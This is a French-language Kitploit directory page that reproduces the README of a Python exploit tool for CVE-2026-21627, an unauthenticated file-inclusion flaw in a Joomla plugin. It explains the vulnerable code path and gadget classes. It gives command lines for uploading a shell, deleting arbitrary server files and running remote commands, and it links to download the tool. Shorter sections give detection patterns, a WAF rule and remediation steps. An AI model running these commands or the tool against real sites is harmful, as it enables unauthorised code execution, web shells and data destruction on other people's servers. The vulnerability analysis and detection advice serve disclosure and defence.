Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla — Exploit Python pour CVE-2026-21627, une inclusion arbitraire de fichier PHP non authentifiée dans le framework Novarain de Joomla, permettant le téléchargement, la suppression de fichiers et l'exécution de code à distance (RCE). | Kitploit
Outils/GitHubGitHub/yallasec/cve-2026-21627---tassos-novarain-framework-plg_system_nrframework-exploit---joomla
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubyallasec/cve-2026-21627---tassos-novarain-framework-plg_system_nrframework-exploit---joomla

CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla

Exploit Python pour CVE-2026-21627, une inclusion arbitraire de fichier PHP non authentifiée dans le framework Novarain de Joomla, permettant le téléchargement, la suppression de fichiers et l'exécution de code à distance (RCE).

Voir le dépôt
il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-21627

Inclusion Arbitraire de Fichiers Non Authentifiée dans le Framework Novarain de Joomla (nrframework)

CVSS Joomla Python


Vue d'ensemble

Une vulnérabilité critique dans le plugin Joomla Tassos/Novarain Framework (plg_system_nrframework) permet à des attaquants non authentifiés d'inclure des fichiers PHP arbitraires sur le serveur, d'instancier des classes arbitraires et d'enchaîner avec des classes gadget intégrées pour réaliser un téléversement de fichiers arbitraire et une suppression de fichiers arbitraire — le tout sans authentification.

ID CVECVE-2026-21627
Score CVSS9.5 (Critique)
Pluginplg_system_nrframework (Tassos Framework / Novarain Framework)
Versions vulnérables4.10.14 à 6.0.37
Corrigé dans6.0.38+
CMSJoomla 3.x, 4.x, 5.x

Le plugin nrframework est fourni avec plusieurs extensions Joomla populaires de Tassos.gr, notamment Convert Forms, Engage Box, Google Structured Data, et d'autres.

Détails de la vulnérabilité

La méthode ajaxTaskInclude() dans nrframework.php est explicitement autorisée pour l'accès frontal (non-admin) via le tableau $non_admin_tasks. Elle accepte trois paramètres contrôlés par l'utilisateur :

  • path — utilise le filtre d'entrée RAW (aucune désinfection, traversée de chemin possible)
  • file — utilise le filtre d'entrée Joomla par défaut
  • class — nom de la classe à instancier après l'inclusion

Le chemin concaténé $path . $file . '.php' est passé directement à @include_once, permettant l'inclusion arbitraire de fichiers PHP. Après l'inclusion, la classe spécifiée est instanciée et sa méthode onAJAX() est appelée avec des paramètres contrôlés par l'utilisateur.

Primitives d'attaque

PrimitiveGadgetSévéritéDescription
Inclusion de fichierajaxTaskInclude()CritiqueInclure n'importe quel fichier .php sur le serveur
Suppression de fichierJFormFieldNRInlineFileUpload::onRemove()Critiqueunlink() sans validation de chemin — supprimer tout fichier accessible en écriture par le serveur web
Téléversement de fichierJFormFieldNRInlineFileUpload::onUpload()ÉlevéeTéléverser des fichiers texte vers tout répertoire accessible en écriture et accessible via le web
Divulgation de cheminRéponse de téléversementMoyenneChemin complet du système de fichiers divulgué dans la réponse JSON

Utilisation

root@kitploit:~
python3 cve_2026_21627.py --target <URL> --mode <MODE> [OPTIONS]

Modes

ModeDescriptionRisque
verifyConfirmer que la vulnérabilité existeSûr / Lecture seule
uploadTéléverser un fichier vers un répertoire contrôléMoyen
deleteSupprimer un fichier arbitraire sur le serveurDestructif
rceTenter la chaîne RCE complète (téléversement + exécution)Élevé
infoInclure un fichier PHP arbitraire pour la reconnaissanceMoyen

Exemples

Vérifier la vulnérabilité :

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode verify

Téléverser un fichier de preuve de concept :

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt

Téléverser un shell SSI (nécessite Apache mod_include) :

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml

Tenter la chaîne RCE :

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"

Supprimer un fichier (destructif) :

root@kitploit:~
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt

Options

root@kitploit:~
--target, -t       URL cible (requis)
--mode, -m         Mode d'exploitation : verify|upload|delete|rce|info (requis)
--sef-prefix       Préfixe d'URL SEF Joomla (défaut : /it/)
--delay            Délai entre les requêtes en secondes (défaut : 2.5)
--proxy            Proxy HTTP (ex. http://127.0.0.1:8080)
--no-ssl-verify    Désactiver la vérification du certificat SSL

Mode upload :
  --shell-type     Type de fichier : shtml|csv|txt|html (défaut : shtml)
  --upload-dir     Répertoire de téléversement relatif à JPATH_ROOT (défaut : images)
  --custom-content Contenu personnalisé du fichier à téléverser

Mode delete :
  --file-path      Chemin complet sur le serveur du fichier à supprimer

Mode RCE :
  --cmd            Commande à exécuter (défaut : id)

Mode info :
  --php-path       Chemin du fichier PHP relatif à JPATH_SITE
  --php-file       Nom du fichier PHP sans l'extension .php
  --php-class      Classe PHP à instancier

Comment ça fonctionne

root@kitploit:~
┌──────────────┐    ┌───────────────────┐    ┌─────────────────────┐
│   Attaquant  │───>│  onAjaxNrframework │───>│  ajaxTaskInclude()  │
│              │    │  (routeur AJAX)    │    │                     │
│ task=include │    │  include est dans  │    │ path = entrée RAW   │
│ path=...     │    │  $non_admin_tasks  │    │ @include_once $path │
│ file=...     │    │  (aucune auth req.)│    │ new $class()->onAJAX│
│ class=...    │    └───────────────────┘    └──────────┬──────────┘
└──────────────┘                                        │
                                                        v
                               ┌─────────────────────────────────────┐
                               │  JFormFieldNRInlineFileUpload       │
                               │  (classe gadget)                    │
                               │                                     │
                               │  onAjax() ──> onUpload()  [ÉCRITURE]│
                               │           ──> onRemove()  [SUPPR.]  │
                               └─────────────────────────────────────┘
  1. Session et CSRF — Joomla crée les sessions de manière paresseuse. L'exploit déclenche la création de session en sondant le point de terminaison AJAX, puis extrait le jeton CSRF du HTML de la page d'accueil.
  2. Inclusion de fichier — La tâche include est appelée avec un path contrôlé (filtre RAW = aucune désinfection) pointant vers le fichier gadget.
  3. Exécution du gadget — La classe JFormFieldNRInlineFileUpload incluse fournit onUpload() pour les écritures de fichiers et onRemove() pour les suppressions de fichiers, toutes deux avec une validation d'entrée insuffisante.

Prérequis

  • Python 3.7+
  • Bibliothèque requests
root@kitploit:~
pip install requests

Détection

Surveillez les journaux d'accès pour détecter les tentatives d'exploitation :

root@kitploit:~
# Modèle de journal Apache/Nginx
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log

Règle WAF — Bloquer les requêtes correspondant à :

root@kitploit:~
option=com_ajax.*plugin=nrframework.*task=include.*path=

Audit post-compromission :

  • Vérifiez images/ et les autres répertoires accessibles en écriture pour détecter des fichiers inattendus
  • Vérifiez l'intégrité de configuration.php et .htaccess
  • Examinez les journaux d'erreurs du serveur pour les avertissements @include_once

Remédiation

  1. Mettez à jour nrframework vers la version 6.0.38 ou ultérieure immédiatement
  2. Le correctif supprime entièrement ajaxTaskInclude() et le remplace par un registre de gestionnaires strict (AjaxHandlerRegistry)

Chronologie

DateÉvénement
2026-02Vulnérabilité découverte lors d'un test d'intrusion autorisé
2026-02Création de l'exploit
2026-02Divulgation publique

Avertissement

Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. N'utilisez cet exploit que contre des systèmes pour lesquels vous disposez d'une autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.

Auteur

Yallasec — yallasec.com

Arcangelo Saracino — @arkango

Télécharger l’outil